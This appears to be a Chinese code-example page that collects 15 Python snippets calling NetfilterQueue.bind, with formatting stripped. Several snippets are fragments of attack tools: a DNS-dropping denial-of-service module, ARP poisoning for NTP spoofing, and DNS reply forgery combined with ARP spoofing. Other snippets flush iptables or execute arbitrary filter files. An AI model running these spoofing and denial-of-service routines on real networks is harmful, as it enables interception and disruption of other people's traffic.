本文整理汇总了Python中netfilterqueue.NetfilterQueue.bind方法的典型用法代码示例。如果您正苦于以下问题:Python NetfilterQueue.bind方法的具体用法?Python NetfilterQueue.bind怎么用?Python NetfilterQueue.bind使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类netfilterqueue.NetfilterQueue
的用法示例。
在下文中一共展示了NetfilterQueue.bind方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: Jam
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
class Jam(object):
name = "Denial of Service Module."
desc = "Denial of service attacks here."
version = "0.1"
ps = "Need to add more DoS attacks."
def __init__(self):
self.blocks = []
def mitmdropstart(self, host):
os.system("iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
self.host = host
try:
print "[+] Man-in-the-middle DNS drop initialized."
self.t = threading.Thread(name="mitmdrop", target=self.filter)
self.t.setDaemon(True)
self.t.start()
except Exception as e:
print "[!] Exception caught: {}".format(e)
def mitmdropstop(self):
os.system("iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
print "[-] Man-in-the-middle DNS drop finalized."
def callback(self, packet):
packet.drop()
def filter(self):
try:
self.q = NetfilterQueue()
self.q.bind(1, self.callback)
self.q.run()
except Exception as e:
print "[!] Exception caught: {}".format(e)
示例2: main
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def main(argv):
spoofer = NTPSpoof()
spoofer.getCommandlineOpts(argv)
print "[===>] Using %s interface" % spoofer.interface
# trying to resolve gateway mac
spoofer.gateway_mac = spoofer.getMac(spoofer.gateway_ip)
if spoofer.gateway_mac is None:
print "[ERROR] Couldn't receive gateway MAC."
sys.exit()
else:
print "[===>] Gatway: IP=%s | MAC=%s " % (spoofer.gateway_ip,
spoofer.gateway_mac)
# trying to resolve target mac
spoofer.target_mac = spoofer.getMac(spoofer.target_ip)
if spoofer.target_mac is None:
print "[ERROR] Couldn't receive target MAC."
sys.exit()
else:
print "[===>] Target: IP=%s | MAC=%s " % (spoofer.target_ip,
spoofer.target_mac)
# start poisoning in different thread
poison_thread = threading.Thread(target = spoofer.poisonTarget)
poison_thread.start()
# put incoming ntp-replies into a queue for manipulation
print "[===>] Setting iptables for queuing"
os.system('iptables -A FORWARD -j NFQUEUE --queue-num 1')
# create netfilterqueue interface and bind to nfqueue #1
nfqueue = NetfilterQueue()
nfqueue.bind(1,spoofer.callback)
try:
# run queue
nfqueue.run()
except KeyboardInterrupt:
# unbind nfqueue and reset iptables
print "[===>] Resetting iptables"
nfqueue.unbind()
os.system('iptables -F')
finally:
# stop poisoning and wait for thread
POISON = False
time.sleep(2)
# restore after poisoning
print "[===>] Restoring targets ARP-Cache"
spoofer.restoreTarget()
sys.exit()
示例3: __init__
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
class PacketFilter:
def __init__(self, filter):
self.filter = filter
def start(self):
set_ip_forwarding(1)
iptables().NFQUEUE()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(1, self.modify)
t = threading.Thread(name='packetparser', target=self.nfqueue.run)
t.setDaemon(True)
t.start()
def modify(self, pkt):
#log.debug("Got packet")
data = pkt.get_payload()
packet = IP(data)
try:
execfile(self.filter)
except Exception:
log.debug("Error occurred in filter")
print_exc()
pkt.set_payload(str(packet)) #set the packet content to our modified version
pkt.accept() #accept the packet
def stop(self):
self.nfqueue.unbind()
set_ip_forwarding(0)
iptables().flush()
示例4: main
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def main():
global SERVER_IP, SERVER_PORT
from netfilterqueue import NetfilterQueue
argument_parser = argparse.ArgumentParser()
argument_parser.add_argument('--log-file')
argument_parser.add_argument('--log-level', choices=['INFO', 'DEBUG'], default='INFO')
argument_parser.add_argument('--queue-number', default=0, type=int)
argument_parser.add_argument('server', help='x.x.x.x:19842')
args = argument_parser.parse_args()
log_level = getattr(logging, args.log_level)
logging.getLogger().setLevel(log_level)
logging.getLogger().handlers = []
if args.log_file:
handler = logging.handlers.RotatingFileHandler(
args.log_file, maxBytes=1024 * 16, backupCount=0)
handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
handler.setLevel(log_level)
logging.getLogger().addHandler(handler)
handler = logging.StreamHandler()
handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
handler.setLevel(log_level)
logging.getLogger().addHandler(handler)
signal.signal(signal.SIGTERM, lambda signum, fame: os._exit(1))
signal.signal(signal.SIGINT, lambda signum, fame: os._exit(1))
SERVER_IP, SERVER_PORT = args.server.split(':')
SERVER_PORT = int(SERVER_PORT)
nfqueue = NetfilterQueue()
nfqueue.bind(args.queue_number, handle_nfqueue_element)
LOGGER.info('fquni client started')
nfqueue.run()
示例5: __init__
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
class PacketFilter:
def __init__(self, filter):
self.filter = filter
def start(self):
set_ip_forwarding(1)
iptables().NFQUEUE()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(0, self.modify)
self.nfqueue.run()
def modify(self, pkt):
#log.debug("Got packet")
data = pkt.get_payload()
packet = IP(data)
for filter in self.filter:
try:
execfile(i)
except Exception:
log.debug("Error occurred in filter", filter)
print_exc()
pkt.set_payload(str(packet)) #set the packet content to our modified version
pkt.accept() #accept the packet
def stop(self):
self.nfqueue.unbind()
set_ip_forwarding(0)
iptables().flush()
示例6: handle_nfqueue
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(3, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
示例7: DNSspoof
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
class DNSspoof(object):
name = "DNS spoofing"
desc = "Filter DNS packets while in man-in-the-middle and modify packet."
version = "0.3"
def __init__(self,fake):
self.fake = fake
def callback(self, packet):
payload = packet.get_payload()
pkt = IP(payload)
if not pkt.haslayer(DNSQR):
packet.accept()
else:
if self.inject != None:
new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
packet.set_payload(str(new_pkt))
packet.accept()
elif self.domain in pkt[DNS].qd.qname:
new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
packet.set_payload(str(new_pkt))
packet.accept()
else:
packet.accept()
self.currentdomain = str(pkt[DNS].qd.qname)
def spoof(self):
try:
self.q = NetfilterQueue()
self.q.bind(1, self.callback)
self.q.run()
except Exception as e:
print "[*] Exception caught: {}".format(e)
def stop(self):
self.q.unbind()
os.system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
def getdomain(self):
return self.currentdomain
def start(self,domain,inject):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
self.domain = domain
self.inject = inject
t = threading.Thread(name='DNSspoof', target=self.spoof)
t.setDaemon(True)
t.start()
示例8: handle_nfqueue
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
dns_service_status.error = traceback.format_exc()
示例9: run
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def run():
if importerror == True:
printError("netfilterqueue isn't imported")
printInfo("install the dependencies and reload this module")
print("traceback:\n"+str(error))
return
controller.reset()
printInfo("loading host list...")
try:
hostfile = open(getpath.conf()+"hosts", "r").read()
except FileNotFoundError:
printError("host list not found")
return
except PermissionError:
printError("permission denied")
for line in hostfile.splitlines():
if "#" not in line and len(line.split()) == 2:
hostlist.append(line.split())
for item in hostlist:
try:
item[0] = item[0].encode()
except AttributeError:
pass
try:
item[1] = item[1].encode()
except AttributeError:
pass
if variables["arp_spoof"][0] == "true":
printInfo("ipv4 forwarding...")
os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward')
printInfo("starting arp spoof...")
arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0], controller)
arpspoof.start()
printInfo("ctrl + c to end")
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
try:
q = NetfilterQueue()
q.bind(1, callback)
try:
q.run()
except KeyboardInterrupt:
controller.kill = True
q.unbind()
os.system('iptables -F')
os.system('iptables -X')
printInfo("dns spoof ended")
except:
printError("unexcepted error:\n")
traceback.print_exc(file=sys.stdout)
controller.kill = True
if variables["arp_spoof"][0] == "true":
printInfo("stopping arp spoof")
arpspoof.join()
示例10: setupFilter
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def setupFilter():
nfqueue = NetfilterQueue()
#1 is the iptabels rule queue number, filter is the callback function
nfqueue.bind(1, filter)
try:
print "[*] waiting for data"
nfqueue.run()
except KeyboardInterrupt:
pass
示例11: handle_nfqueue
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(3, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
finally:
LOGGER.info('full proxy service stopped')
示例12: debug
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def debug():
nfqueue = NetfilterQueue()
# nfqueue.bind(1, print_and_accept)
nfqueue.bind(1, snoop)
try:
nfqueue.run()
except Exception,e:
logger.error("Error in Snoop start: %s" % str(e))
logger.error(traceback.format_exc())
示例13: handle_nfqueue
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(2, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
tcp_service_status.error = traceback.format_exc()
finally:
LOGGER.info('tcp service stopped')
示例14: launch_nfqueue
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def launch_nfqueue(num):
nfqueue = NetfilterQueue()
nfqueue.bind(num, callback)
sleep(1)
while lock([])[0] is False:
print '#'*10 + '-'*10 + '> Bound to queue %s <'%num + '-'*10 +'#'*10
nfqueue.run()
print '#'*10 + '-'*10 + '> Queue %s had to restart <'%num + '-'*10 + '#'*10
print '#'*10 + '-'*10 + '> Queue %s got SIGSTOP <'%num + '-'*10 + '#'*10
nfqueue.unbind()
示例15: main
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import bind [as 别名]
def main():
parse_arg_and_patterns()
nfqueue = NetfilterQueue()
nfqueue.bind(1, pkt_check)
try:
nfqueue.run()
except KeyboardInterrupt:
print
finally:
nfqueue.unbind()